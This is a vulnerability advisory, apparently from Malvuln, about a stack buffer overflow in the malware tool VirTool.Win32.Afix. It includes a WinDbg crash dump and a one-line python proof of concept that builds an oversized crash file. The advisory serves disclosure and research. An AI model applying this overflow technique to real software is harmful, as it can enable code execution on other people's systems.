## https://sploitus.com/exploit?id=PACKETSTORM:163481
Discovery / credits: Malvuln - malvuln.com (c) 2021
Original source: https://malvuln.com/advisory/35100db8750364871fe70ef6de4833f7.txt
Contact: malvuln13@gmail.com
Media: twitter.com/malvuln
Threat: VirTool.Win32.Afix
Vulnerability: Local Stack Buffer Overflow
Description: VirTool.Win32.Afix By Zimenkov doesn't properly validate the files it opens. Therefore, opening a specially crafted (EXE) file triggers a stack buffer overflow overwriting EAX register. EAX register typically stores return values from functions. This can allow an attacker to control program execution flow resulting in arbitrary code execution.
Type: PE32
MD5: 35100db8750364871fe70ef6de4833f7
Vuln ID: MVID-2021-0291
ASLR: False
DEP: False
Safe SEH: True
Disclosure: 07/12/2021
Memory Dump:
(e30.1004): Access violation - code c0000005 (first/second chance not available)
eax=00000000 ebx=00000000 ecx=562c45f2 edx=00000001 esi=00000003 edi=00000003
eip=77dded3c esp=005fefdc ebp=005ff16c iopl=0 nv up ei pl nz na po nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00200202
ntdll!ZwWaitForMultipleObjects+0xc:
77dded3c c21400 ret 14h
0:000> .ecxr
eax=41414141 ebx=00000001 ecx=562c45f2 edx=00000001 esi=00130538 edi=004010a0
eip=00401259 esp=005ff91c ebp=43da2d19 iopl=0 nv up ei pl nz na po nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00210202
*** ERROR: Module load completed but symbols could not be loaded for VirTool.Win32.Afix.35100db8750364871fe70ef6de4833f7.exe
VirTool_Win32_Afix_35100db8750364871fe70ef6de4833f7+0x1259:
00401259 8b4528 mov eax,dword ptr [ebp+28h] ss:002b:43da2d41=????????
0:000> !analyze -v
*******************************************************************************
* *
* Exception Analysis *
* *
*******************************************************************************
FAULTING_IP:
VirTool_Win32_Afix_35100db8750364871fe70ef6de4833f7+1259
00401259 8b4528 mov eax,dword ptr [ebp+28h]
EXCEPTION_RECORD: ffffffff -- (.exr 0xffffffffffffffff)
ExceptionAddress: 00401259 (VirTool_Win32_Afix_35100db8750364871fe70ef6de4833f7+0x00001259)
ExceptionCode: c0000005 (Access violation)
ExceptionFlags: 00000000
NumberParameters: 2
Parameter[0]: 00000000
Parameter[1]: 43da2d41
Attempt to read from address 43da2d41
PROCESS_NAME: VirTool.Win32.Afix.35100db8750364871fe70ef6de4833f7.exe
ERROR_CODE: (NTSTATUS) 0xc0000005 - The instruction at 0x%p referenced memory at 0x%p. The memory could not be %s.
EXCEPTION_CODE: (NTSTATUS) 0xc0000005 - The instruction at 0x%p referenced memory at 0x%p. The memory could not be %s.
EXCEPTION_PARAMETER1: 00000000
EXCEPTION_PARAMETER2: 43da2d41
READ_ADDRESS: 43da2d41
FOLLOWUP_IP:
VirTool_Win32_Afix_35100db8750364871fe70ef6de4833f7+1259
00401259 8b4528 mov eax,dword ptr [ebp+28h]
MOD_LIST: <ANALYSIS/>
NTGLOBALFLAG: 0
APPLICATION_VERIFIER_FLAGS: 0
FAULTING_THREAD: 00001004
BUGCHECK_STR: APPLICATION_FAULT_INVALID_POINTER_READ_PROBABLYEXPLOITABLE_FILL_PATTERN_41414141
PRIMARY_PROBLEM_CLASS: INVALID_POINTER_READ_PROBABLYEXPLOITABLE_FILL_PATTERN_41414141
DEFAULT_BUCKET_ID: INVALID_POINTER_READ_PROBABLYEXPLOITABLE_FILL_PATTERN_41414141
LAST_CONTROL_TRANSFER: from 004014c9 to 00401259
STACK_TEXT:
WARNING: Stack unwind information not available. Following frames may be wrong.
005ff938 004014c9 004010a0 00130538 005ff964 VirTool_Win32_Afix_35100db8750364871fe70ef6de4833f7+0x1259
005ff95c 0040113e 005ff990 770ce0bb 00130538 VirTool_Win32_Afix_35100db8750364871fe70ef6de4833f7+0x14c9
005ff964 770ce0bb 00130538 00000111 00000196 VirTool_Win32_Afix_35100db8750364871fe70ef6de4833f7+0x113e
005ff990 770d8849 004010a0 00130538 00000111 user32!_InternalCallWinProc+0x2b
005ff9b4 770dacd3 00000111 00000196 001404b2 user32!InternalCallWinProc+0x20
005ffa38 770bbf65 00130538 00000111 00000196 user32!UserCallDlgProcCheckWow+0x156
005ffa94 770bbe45 02ff7520 00000000 00000111 user32!DefDlgProcWorker+0x115
005ffab4 770ce0bb 00130538 00000111 00000196 user32!DefDlgProcW+0x25
005ffae0 770d8849 77df92b0 00130538 00000111 user32!_InternalCallWinProc+0x2b
005ffb04 770db145 00000111 00000196 001404b2 user32!InternalCallWinProc+0x20
005ffbd4 770da89c 77df92b0 00000000 00000111 user32!UserCallWinProcCheckWow+0x1be
005ffc40 770bb95b 02ff7520 00000000 001404b2 user32!SendMessageWorker+0x6ff
005ffc68 770d5493 00130538 00000111 00000196 user32!SendMessageW+0x5b
005ffc90 770d4dda 03089f30 00000000 00000000 user32!xxxButtonNotifyParent+0x66
005ffcb8 770d4240 028859a8 00000000 03089f30 user32!xxxBNReleaseCapture+0x150
005ffd50 770d36c6 03089f30 00000000 00000202 user32!ButtonWndProcWorker+0xad0
005ffd84 770ce0bb 001404b2 00000202 00000000 user32!ButtonWndProcA+0x56
005ffdb0 770d8849 770d3670 001404b2 00000202 user32!_InternalCallWinProc+0x2b
005ffdd4 770db145 00000202 00000000 00130059 user32!InternalCallWinProc+0x20
005ffea4 770c90dc 19ddfbc0 00007ff9 00000202 user32!UserCallWinProcCheckWow+0x1be
005fff10 770bb2ee 00000000 00402178 00402170 user32!DispatchMessageWorker+0x4ac
005fff40 770bb0cc 00130538 00402170 00402170 user32!IsDialogMessageW+0x17e
005fff6c 00401048 005fff94 0040105c 00130538 user32!IsDialogMessageA+0x13c
005fff94 77dd4a77 002cf000 3e725442 00000000 VirTool_Win32_Afix_35100db8750364871fe70ef6de4833f7+0x1048
005fffdc 77dd4a47 ffffffff 77df9ea3 00000000 ntdll!__RtlUserThreadStart+0x2f
005fffec 00000000 00401000 002cf000 00000000 ntdll!_RtlUserThreadStart+0x1b
STACK_COMMAND: ~0s; .ecxr ; kb
SYMBOL_STACK_INDEX: 0
SYMBOL_NAME: VirTool_Win32_Afix_35100db8750364871fe70ef6de4833f7+1259
FOLLOWUP_NAME: MachineOwner
MODULE_NAME: VirTool_Win32_Afix_35100db8750364871fe70ef6de4833f7
IMAGE_NAME: VirTool.Win32.Afix.35100db8750364871fe70ef6de4833f7.exe
DEBUG_FLR_IMAGE_TIMESTAMP: 0
FAILURE_BUCKET_ID: INVALID_POINTER_READ_PROBABLYEXPLOITABLE_FILL_PATTERN_41414141_c0000005_VirTool.Win32.Afix.35100db8750364871fe70ef6de4833f7.exe!Unknown
BUCKET_ID: APPLICATION_FAULT_INVALID_POINTER_READ_PROBABLYEXPLOITABLE_FILL_PATTERN_41414141_VirTool_Win32_Afix_35100db8750364871fe70ef6de4833f7+1259
Exploit/PoC:
1) python -c "print('MZ'+'A'*10000)" > crash.exe
2) Open crash.exe in the vulnerable program
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